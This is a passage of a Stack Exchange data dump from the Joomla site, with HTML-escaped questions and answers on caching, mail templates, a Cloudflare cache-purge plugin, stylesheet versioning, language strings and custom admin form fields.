available&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://websiteurl.com/bikes?view=latest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to clear cache for above URL both for page cache and com_magic&#xA;component cache programatically? Or:&lt;/li&gt;&#xA;&lt;li&gt;How to change cache timeout for page and com_magic component for this URL to 1 day specifically? Or:&lt;/li&gt;&#xA;&lt;li&gt;How to disable caching for this particular URL for page and com_magic component?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Important note: This is a question about backend Joomla cache. NOT about browser cache!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12735" LastActivityDate="2024-01-18T18:03:40.443" Title="How to clear page and component caching by a URL in Joomla 2.5.x?" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24039" PostTypeId="1" CreationDate="2019-01-10T10:20:53.987" Score="0" ViewCount="112" Body="&lt;p&gt;I have created a custom form, after submit send email to recipient with &lt;a href=&quot;https://docs.joomla.org/API17:JFactory::getMailer&quot; rel=&quot;nofollow noreferrer&quot;&gt;JFactory::getMailer&lt;/a&gt;&#xA;With this class can add body, for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$mailer = JFactory::getMailer();&#xA;$mailer-&amp;gt;addRecipient('test-email@test.com');&#xA;$mailer-&amp;gt;setBody('Hello world simple text');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my case, my template email have many div, styles css, etc, and is pretty ugly include entire html into setBody method.&#xA;Is there an alternative?&lt;/p&gt;&#xA;" OwnerUserId="13228" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-01-11T09:34:41.907" Title="Associate template to getMailer class" Tags="|form|email-template|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24040" PostTypeId="2" ParentId="24038" CreationDate="2019-01-10T10:35:41.603" Score="0" Body="&lt;p&gt;I'm not fully sure (in Joomla 2.5) but most probably you can set that too &lt;strong&gt;in Joomla backend extensions-&gt; plugins-&gt;System - Page Cache -&gt; Exclude Menu Items.&lt;/strong&gt;&#xA;If you have the bikes under a menu for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same plugin (at the same place), if there is an &lt;strong&gt;advanced&lt;/strong&gt; tab in that plugin settings, you will find the &lt;strong&gt;Exclude URLs&lt;/strong&gt; option too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is how you can set the core cache plugin in Joomla 3.x but I think these options were already available in Joomla 2.5 too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If the above settings do not exist in Joomla 2.5&lt;/strong&gt; then I would suggest you to download a good caching extension (there are plenty of those) and fine tune your Joomla caching with that. From the many I would use for example this:&#xA;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/performance/jotcache/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/core-enhancements/performance/jotcache/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can find the version for Joomla 2.5 (jotcache 4.2)&#xA;&lt;a href=&quot;http://www.jotcomponents.net/home/web-programming/jotcache/download/archive&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.jotcomponents.net/home/web-programming/jotcache/download/archive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can choose others if you can find an extension still for Joomla 2.5:&#xA;&lt;a href=&quot;https://extensions.joomla.org/category/core-enhancements/performance/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/category/core-enhancements/performance/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(side note: unfortunately Joomla 2.5 is so old that it's really a big wasting of time for even thinking about writing any plugins for this kind of job just to clean the cache for a specific component, even if it would be quite a fast job to create that plugin or modification of that component.)&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-14T09:21:30.637" LastActivityDate="2019-01-14T09:21:30.637" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24041" PostTypeId="2" ParentId="24026" CreationDate="2019-01-10T13:00:39.063" Score="1" Body="&lt;p&gt;To simulate the structure of HTML files, to keep the same URLs, I suggest to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create category/articles structure similar to the folder/files structure.&lt;/li&gt;&#xA;&lt;li&gt;Copy the HTML content into articles.&lt;/li&gt;&#xA;&lt;li&gt;Enable &quot;Search Engine Friendly URLs&quot;. &lt;/li&gt;&#xA;&lt;li&gt;Enable &quot;Use URL Rewriting&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Fill in the alias field of articles with the corresponding file name.&lt;/li&gt;&#xA;&lt;li&gt;Enable &quot;Add Suffix to URL&quot;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2019-01-10T13:00:39.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24042" PostTypeId="2" ParentId="24024" CreationDate="2019-01-10T20:14:16.337" Score="3" Body="&lt;p&gt;Here is my first plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Plugin class for update the Cloudflare Cache after save a article&#xA; */&#xA;&#xA;class plgContentBk_onsave extends JPlugin&#xA;{&#xA;&#xA;    public function onContentAfterSave ($context, $article, $isNew)&#xA;    {&#xA;    // I have saved the URL in a custom field by the article to protect against duplicate content. &#xA;    // I use this field for &amp;lt;link rel=&quot;canonical&quot; href=&quot;...&quot;&amp;gt; too.&#xA;    // so I get the URl from the article:&#xA;    $context = 'com_content.article';&#xA;    $article = JModelLegacy::getInstance('Article', 'ContentModel')-&amp;gt;getItem(); &#xA;    JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); // Helper to get the field by the article&#xA;    $fields = FieldsHelper::getFields($context, $article);&#xA;    $fields = json_decode(json_encode($fields), true); // convert to a array&#xA;    $url = $fields[0][&quot;value&quot;]; // Get the URL from the Field $fields[0][&quot;value&quot;] the custom field in the article&#xA;    // if you want to see all your custom fields : var_dump($fields)&#xA;&#xA;    // Okay now the part that delete the Cloudflare cache:&#xA;&#xA;    $authKey = &quot;XXX&quot;;&#xA;    $authEmail = &quot;XXX&quot;;&#xA;    $zoneId = &quot;XXX&quot;;&#xA;    $endpoint = &quot;purge_cache&quot;;&#xA;    $data = '{&quot;files&quot;:[&#xA;    &quot;'.$url.'&quot;&#xA;    ]}';&#xA;    $url = &quot;https://api.cloudflare.com/client/v4/zones/{$zoneId}/{$endpoint}&quot;;&#xA;    $opts = ['http' =&amp;gt; [&#xA;    'method' =&amp;gt; 'DELETE',&#xA;    'header' =&amp;gt; [&#xA;        &quot;Content-Type: application/json&quot;,&#xA;        &quot;X-Auth-Key: {$authKey}&quot;,&#xA;        &quot;X-Auth-Email: {$authEmail}&quot;,&#xA;    ],&#xA;    'content' =&amp;gt; $data,&#xA;    ]];&#xA;&#xA;    $context = stream_context_create($opts);&#xA;    $result = file_get_contents($url, false, $context);&#xA;    // to sse the Cloudflare result use: var_dump($result);&#xA;    // add exit; to see all otputs like var_dumps&#xA;    return true;    &#xA;    }&#xA;}&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested and works fine. After save the article the Cloudflare CDN for the &lt;strong&gt;one&lt;/strong&gt; url is purged.&lt;br&gt;&#xA;Any improvements are welcome.&lt;br&gt;&#xA;Thanks to all here for your support to solve my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added to see the succes after save:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;var_dump($result);&#xA;$ext = ob_get_clean();&#xA;// to see the Cloudflare result use: var_dump($result);&#xA;// add exit; to see all otputs like var_dumps&#xA;$application = JFactory::getApplication();&#xA;$message=&quot;Cloudflare Update von: &quot;.$fields[0][&quot;value&quot;].&quot;&amp;lt;br&amp;gt;&quot;.$ext; $type=&quot;notice&quot;;&#xA;$application-&amp;gt;enqueueMessage(JText::_($message), 'notice');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="8968" LastEditDate="2019-01-11T12:42:58.970" LastActivityDate="2019-01-11T12:42:58.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24043" PostTypeId="1" CreationDate="2019-01-10T22:18:05.653" Score="2" ViewCount="136" Body="&lt;p&gt;I normally just add my unique tag to the css path in the section of my html, but my template is adding my custom CSS via Javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_file(T3_TEMPLATE_PATH . '/css/custom.css')) {&#xA;$this-&amp;gt;addStyleSheet(T3_TEMPLATE_URL . '/css/custom.css');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried adding the unique tag to the above, but it doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_file(T3_TEMPLATE_PATH . '/css/custom.css')) {&#xA;$this-&amp;gt;addStyleSheet(T3_TEMPLATE_URL . '/css/custom.css?20180101');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I inspected my web page and it removes my unique tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;.../css/custom.css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13233" LastActivityDate="2019-01-11T13:28:29.507" Title="My Joomla Template is loading my custom CSS using JS. Is there a way to add the unique version tag to my custom CSS? i.e: custom.css?20180101" Tags="|javascript|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24045" PostTypeId="1" AcceptedAnswerId="24051" CreationDate="2019-01-10T22:43:40.487" Score="3" ViewCount="72" Body="&lt;p&gt;I want to modify: &lt;strong&gt;/plugins/content/pagenavigation/tmpl/default.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tags, one for &quot;next&quot; and one for &quot;previous&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display the current article's title in a &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the code to show the title of the present article?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;pager pagenav&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    if ($row-&amp;gt;prev) :&#xA;        $direction = $lang-&amp;gt;isRtl() ? 'right' : 'left';&#xA;        ?&amp;gt;&#xA;        &amp;lt;li class=&quot;previous&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;hasTooltip&quot; title=&quot;&amp;lt;?php echo htmlspecialchars($rows[$location-1]-&amp;gt;title); ?&amp;gt;&quot; aria-label=&quot;&amp;lt;?php echo JText::sprintf('JPREVIOUS_TITLE', htmlspecialchars($rows[$location-1]-&amp;gt;title)); ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo $row-&amp;gt;prev; ?&amp;gt;&quot; rel=&quot;prev&quot;&amp;gt;&#xA;                &amp;lt;?php echo '&amp;lt;span class=&quot;icon-chevron-' . $direction . '&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;span aria-hidden=&quot;true&quot;&amp;gt;' . $row-&amp;gt;prev_label . '&amp;lt;/span&amp;gt;'; ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php&#xA;    endif;&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;li class=&quot;middle&quot;&amp;gt; code of curent item ?? &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    if ($row-&amp;gt;next) :&#xA;        $direction = $lang-&amp;gt;isRtl() ? 'left' : 'right';&#xA;        ?&amp;gt;&#xA;        &amp;lt;li class=&quot;next&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;hasTooltip&quot; title=&quot;&amp;lt;?php echo htmlspecialchars($rows[$location+1]-&amp;gt;title); ?&amp;gt;&quot; aria-label=&quot;&amp;lt;?php echo JText::sprintf('JNEXT_TITLE', htmlspecialchars($rows[$location+1]-&amp;gt;title)); ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo $row-&amp;gt;next; ?&amp;gt;&quot; rel=&quot;next&quot;&amp;gt;&#xA;                &amp;lt;?php echo '&amp;lt;span aria-hidden=&quot;true&quot;&amp;gt;' . $row-&amp;gt;next_label . '&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;icon-chevron-' . $direction . '&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/span&amp;gt;'; ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php&#xA;    endif;&#xA;    ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13234" LastEditorUserId="12352" LastEditDate="2019-01-11T11:28:29.863" LastActivityDate="2019-01-11T11:28:29.863" Title="adding curent item to pagenavigation" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24046" PostTypeId="2" ParentId="24043" CreationDate="2019-01-10T23:08:06.177" Score="2" Body="&lt;p&gt;Adding a version query string to a stylesheet is super easy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// You don't need to grab the document yourself, but I include it here for completeness.&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addStyleSheet('/templates/mytemplate/css/test.css',['version' =&amp;gt; '123ABC']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also specify the version value as 'auto' but as the value it uses doesn't automatically update when the css file is updated I think it is a bit useless for adding custom stylesheets.  If you're changing the css sheet a lot then it's common practice to use the filemtime timestamp of the css file as the version string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note there is no javascript involved in your question, the template is adding the css via php, so you may wish to clean up your question slightly.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="12352" LastEditDate="2019-01-11T06:05:10.333" LastActivityDate="2019-01-11T06:05:10.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24047" PostTypeId="2" ParentId="24036" CreationDate="2019-01-10T23:42:58.853" Score="3" Body="&lt;p&gt;I'm not sure if this is still the case or even applies to your situation but Google may ignore structured data in favour of visible content. For details see: &lt;a href=&quot;https://webmasters.stackexchange.com/a/78929&quot;&gt;https://webmasters.stackexchange.com/a/78929&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try the free &lt;a href=&quot;https://extensions.joomla.org/extension/google-structured-data-markup&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Structured Data Markup&lt;/a&gt; extension from Tassos Marinos to see if that helps.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-01-10T23:42:58.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24048" PostTypeId="1" AcceptedAnswerId="24050" CreationDate="2019-01-11T07:20:20.633" Score="0" ViewCount="88" Body="&lt;p&gt;Based on this question:. &#xA;&lt;a href=&quot;https://joomla.stackexchange.com/a/24042/8968&quot;&gt;https://joomla.stackexchange.com/a/24042/8968&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add the return code as a message after save to see if it was successful or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell how I can do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentBk_onsave extends JPlugin&#xA;{&#xA;&#xA;public function onContentAfterSave ($context, $article, $isNew)&#xA;{&#xA;// Do something&#xA;[Send a message after save]&#xA;return true;    &#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="8968" LastEditDate="2019-01-11T12:45:13.800" LastActivityDate="2019-01-11T12:45:13.800" Title="Add a message after saving an article" Tags="|plugin|articles|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24049" PostTypeId="2" ParentId="24036" CreationDate="2019-01-11T07:40:53.007" Score="3" Body="&lt;p&gt;I have tested with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;date created&lt;/li&gt;&#xA;&lt;li&gt;last update / modified and published&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The trick that Google use is simple.&lt;br&gt;&#xA;He take the snippet that is visible to the user.&lt;br&gt;&#xA;This is why sometime it displayed 03.04.2018 or 3. April 2018.&#xA;Here is a link to my site:. &#xA;&lt;a href=&quot;https://www.usa-reisetipps.net/einreise-usa/esta-visum&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.usa-reisetipps.net/einreise-usa/esta-visum&lt;/a&gt;&lt;br&gt;&#xA;See the source code by the author. Google use the visible text between the Meta's&lt;/p&gt;&#xA;" OwnerUserId="8968" LastActivityDate="2019-01-11T07:40:53.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24050" PostTypeId="2" ParentId="24048" CreationDate="2019-01-11T08:07:51.950" Score="2" Body="&lt;pre&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;enqueueMessage($message, $type);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$message&lt;/code&gt; is the message string and &lt;code&gt;$type&lt;/code&gt; is an optional type (message, warning, error or notice; defaults to message).&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-11T08:07:51.950" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24051" PostTypeId="2" ParentId="24045" CreationDate="2019-01-11T08:41:38.423" Score="1" Body="&lt;p&gt;You can use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;middle&quot;&amp;gt;&amp;lt;?php echo htmlspecialchars($rows[$location]-&amp;gt;title); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2019-01-11T08:41:38.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24052" PostTypeId="2" ParentId="24039" CreationDate="2019-01-11T09:27:31.920" Score="1" Body="&lt;p&gt;Within Joomla you could use &lt;code&gt;JLayout&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$body = JLayoutHelper::render('path.to.layout');&#xA;$mailer-&amp;gt;setBody($body);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have any variables you need to use in the layout, pass them as second argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$body = JLayoutHelper::render('path.to.layout', $displayData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But because this is done for emails, you probably don't need &lt;code&gt;JLayout&lt;/code&gt; features like template overrides. So you can use PHP's native &lt;code&gt;ob_get_contents()&lt;/code&gt; to get output from PHP file. Internally &lt;code&gt;JLayout&lt;/code&gt; works the same way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;include 'path/to/layout.php';&#xA;$body = ob_get_contents();&#xA;ob_end_clean();&#xA;$mailer-&amp;gt;setBody($body);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-01-11T09:34:41.907" LastActivityDate="2019-01-11T09:34:41.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24054" PostTypeId="2" ParentId="24043" CreationDate="2019-01-11T13:28:29.507" Score="1" Body="&lt;p&gt;Another automated approach would be to append the current date (year/month/day) which would result in your version being updated daily, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$today = JFactory::getDate()-&amp;gt;format('Ymd');&#xA;JHtml::_('stylesheet', 'custom.css', array('version' =&amp;gt; $today, 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-01-11T13:28:29.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24055" PostTypeId="1" AcceptedAnswerId="24056" CreationDate="2019-01-11T17:01:08.447" Score="0" ViewCount="107" Body="&lt;p&gt;When I create a language string with multiple HTML elements Joomla! automatically inserts &lt;code&gt;\n&lt;/code&gt; between them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shows up as a literal &lt;code&gt;\n&lt;/code&gt; in the string.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why and how to overcome this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I insert&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;This is a heading&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;This is some body text&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I see&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;This is a heading&amp;lt;/h2&amp;gt;&#xA;\n&#xA;&amp;lt;p&amp;gt;This is some body text&amp;lt;/p&amp;gt;&#xA;\n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I add the &lt;code&gt;\n&lt;/code&gt; then I see &lt;code&gt;\\n&lt;/code&gt; in the output&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-01-11T18:20:58.173" LastActivityDate="2019-01-13T18:55:59.043" Title="Joomla! inserts \n in my language string" Tags="|language|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24056" PostTypeId="2" ParentId="24055" CreationDate="2019-01-11T17:48:11.280" Score="2" Body="&lt;p&gt;This is expected. Language strings must not contain line breaks. Having them would cause invalid INI files. This is not a valid language file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_EXAMPLE_MY_STRING=&quot;&amp;lt;h2&amp;gt;This is a heading&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;This is some body text&amp;lt;/p&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is valid:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_EXAMPLE_MY_STRING=&quot;&amp;lt;h2&amp;gt;This is a heading&amp;lt;/h2&amp;gt;\n&amp;lt;p&amp;gt;This is some body text&amp;lt;/p&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks to @lodder for this suggestion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using HTML in the language string, try creating multiple language strings.  Then call each language string independently and use PHP to surround the string with the HTML element you want.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="7164" LastEditDate="2019-01-13T18:55:59.043" LastActivityDate="2019-01-13T18:55:59.043" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24057" PostTypeId="1" AcceptedAnswerId="24058" CreationDate="2019-01-11T18:32:42.660" Score="4" ViewCount="843" Body="&lt;p&gt;I have long wondered how to change my admin particularly for my custom modules.  For many cases using an XML file is fine and I can use the built-in Joomla! form fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases, I'd like to style them, which I can do by adding classes and then adding the content to the template file.  Which is 99.9% of the time Isis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have always wondered how I would achieve this on &lt;strong&gt;any&lt;/strong&gt; admin template.  I would need to load a CSS or JS file somehow.  I could do this with an addScript declaration, but I do not have a PHP file to add this to.  I could use an Admin Plugin, but that doesn't seem like the right solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, how would I add an image, or some HTML e.g. an explanation or instructions.  I can use the description panel on some occasions, but on others, it would make sense to be next to the field itself.  &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-04-01T12:48:31.190" Title="How to add CSS/JS/an Image to a module backend" Tags="|module|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24058" PostTypeId="2" ParentId="24057" CreationDate="2019-01-11T19:47:47.087" Score="6" Body="&lt;p&gt;I personally do this in my extensions by creating a custom field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;XML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;something&quot; label=&quot;Something&quot; addfieldpath=&quot;/modules/mod_xxx/fields&quot;&amp;gt;&#xA;    &amp;lt;field type=&quot;testfield&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_xxx/fields/testfield.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;class JFormFieldTest extends Joomla\CMS\Form\FormField&#xA;{&#xA;&#xA;    protected $type = 'Test';&#xA;&#xA;    protected function getLabel()&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    protected function getInput()&#xA;    {&#xA;        // Custom JS&#xA;        HTMLHelper::_('script', 'mod_xxx/custom.js', ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]);&#xA;&#xA;        // Custom CSS&#xA;        HTMLHelper::_('stylesheet', 'mod_xxx/custom.css', ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]);&#xA;&#xA;        // Custom HTML&#xA;        $html = '&amp;lt;p&amp;gt;Hello&amp;lt;/p&amp;gt;';&#xA;&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-01-11T19:47:47.087" CommentCount="14" ContentLicense="CC BY-SA 4.0" />
  <row Id="24059" PostTypeId="1" CreationDate="2019-01-11T20:55:17.747" Score="3" ViewCount="232" Body="&lt;p&gt;I'm trying to make this Joomla Update system work for paid extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I'm going about it is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm using &lt;a href=&quot;https://github.com/mabdelaziz77/downloadid-custom-field&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mohameds&lt;/a&gt; downloadid.php to populate &quot;extra_query&quot; field in the &quot;_update_sites&quot; table.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;after you check for updates joomla looks into your xml file and checks for new versions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;then after it sees a new update is available and you click on update&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it follows the link in the xml updateserver file adding &quot;?dlid=35423542354&quot; at the end of it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have download.php file at my end that does the following: GET the variable &quot;dlid&quot; from the url, check it against my database/subscription system and return the file or not&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/kyuzo1/Joomla-Update-System-For-Paid-Extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Check the project here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13208" LastEditorUserId="13208" LastEditDate="2019-01-18T23:26:24.090" LastActivityDate="2019-01-18T23:26:24.090" Title="Joomla Update System For Paid Extensions" Tags="|one-click-updates|extension-update|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
